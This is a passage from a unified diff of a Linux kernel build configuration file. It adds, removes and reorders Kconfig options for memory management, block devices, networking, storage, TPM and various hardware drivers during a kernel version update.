CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y @@ -595,7 +611,15 @@ CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -605,6 +629,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -615,17 +641,20 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -CONFIG_UNUSED_SYMBOLS=y +CONFIG_MODPROBE_PATH="/sbin/modprobe" +# CONFIG_TRIM_UNUSED_KSYMS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set CONFIG_BLK_DEBUG_FS=y # CONFIG_BLK_SED_OPAL is not set @@ -640,6 +669,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -679,38 +710,68 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set +# CONFIG_GUP_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -722,6 +783,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -738,6 +800,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -756,10 +819,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -779,12 +840,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -799,8 +861,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -811,7 +873,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -846,6 +907,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -883,6 +946,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -892,6 +956,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -902,6 +967,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -921,9 +987,37 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -941,21 +1035,17 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support @@ -963,9 +1053,10 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 CONFIG_NVME_CORE=y CONFIG_BLK_DEV_NVME=y CONFIG_NVME_MULTIPATH=y -CONFIG_NVME_HWMON=y +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -988,9 +1079,9 @@ CONFIG_NVME_HWMON=y # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1019,21 +1110,21 @@ CONFIG_NVME_HWMON=y # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y CONFIG_RAID_ATTRS=y +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1045,6 +1136,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1079,7 +1171,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set @@ -1090,8 +1181,8 @@ CONFIG_SCSI_MPT3SAS=y CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1100,7 +1191,6 @@ CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set @@ -1133,6 +1223,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1203,12 +1294,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1222,23 +1307,26 @@ CONFIG_NET_VENDOR_ALACRITECH=y CONFIG_NET_VENDOR_AQUANTIA=y # CONFIG_AQTION is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -CONFIG_NET_VENDOR_AURORA=y -# CONFIG_AURORA_NB8800 is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set CONFIG_NET_VENDOR_CADENCE=y # CONFIG_MACB is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set CONFIG_NET_VENDOR_CORTINA=y -# CONFIG_CX_ECAT is not set +CONFIG_NET_VENDOR_DAVICOM=y # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +CONFIG_NET_VENDOR_ENGLEDER=y +# CONFIG_TSNEP is not set # CONFIG_NET_VENDOR_EZCHIP is not set +CONFIG_NET_VENDOR_FUNGIBLE=y +# CONFIG_FUN_ETH is not set CONFIG_NET_VENDOR_GOOGLE=y # CONFIG_GVE is not set CONFIG_NET_VENDOR_HUAWEI=y @@ -1259,22 +1347,26 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +CONFIG_NET_VENDOR_WANGXUN=y +# CONFIG_NGBE is not set +# CONFIG_TXGBE is not set # CONFIG_JME is not set +CONFIG_NET_VENDOR_LITEX=y # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set CONFIG_NET_VENDOR_MICROCHIP=y # CONFIG_LAN743X is not set CONFIG_NET_VENDOR_MICROSEMI=y +CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +CONFIG_NET_VENDOR_NI=y +# CONFIG_NI_XGE_MANAGEMENT_ENET is not set # CONFIG_NET_VENDOR_NATSEMI is not set CONFIG_NET_VENDOR_NETERION=y # CONFIG_S2IO is not set -# CONFIG_VXGE is not set # CONFIG_NET_VENDOR_NETRONOME is not set -CONFIG_NET_VENDOR_NI=y -# CONFIG_NI_XGE_MANAGEMENT_ENET is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set @@ -1284,6 +1376,7 @@ CONFIG_NET_VENDOR_PACKET_ENGINES=y CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_IONIC is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1291,11 +1384,11 @@ CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SILAN is not set +# CONFIG_NET_VENDOR_SIS is not set CONFIG_NET_VENDOR_SOLARFLARE=y # CONFIG_SFC is not set # CONFIG_SFC_FALCON is not set -# CONFIG_NET_VENDOR_SILAN is not set -# CONFIG_NET_VENDOR_SIS is not set # CONFIG_NET_VENDOR_SMSC is not set CONFIG_NET_VENDOR_SOCIONEXT=y # CONFIG_NET_VENDOR_STMICRO is not set @@ -1303,15 +1396,18 @@ CONFIG_NET_VENDOR_SOCIONEXT=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set CONFIG_NET_VENDOR_XILINX=y +# CONFIG_XILINX_EMACLITE is not set # CONFIG_XILINX_AXI_EMAC is not set # CONFIG_XILINX_LL_TEMAC is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1323,26 +1419,28 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_SLIP is not set # CONFIG_USB_NET_DRIVERS is not set # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1376,6 +1474,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1433,6 +1532,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1457,7 +1557,6 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1474,9 +1573,7 @@ CONFIG_HW_RANDOM_AMD=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1484,6 +1581,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1495,10 +1594,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1575,6 +1674,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1583,6 +1684,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1604,6 +1706,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1617,12 +1720,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1630,10 +1735,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1661,6 +1770,8 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1693,6 +1804,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1707,19 +1819,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1733,7 +1847,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1745,34 +1858,37 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # 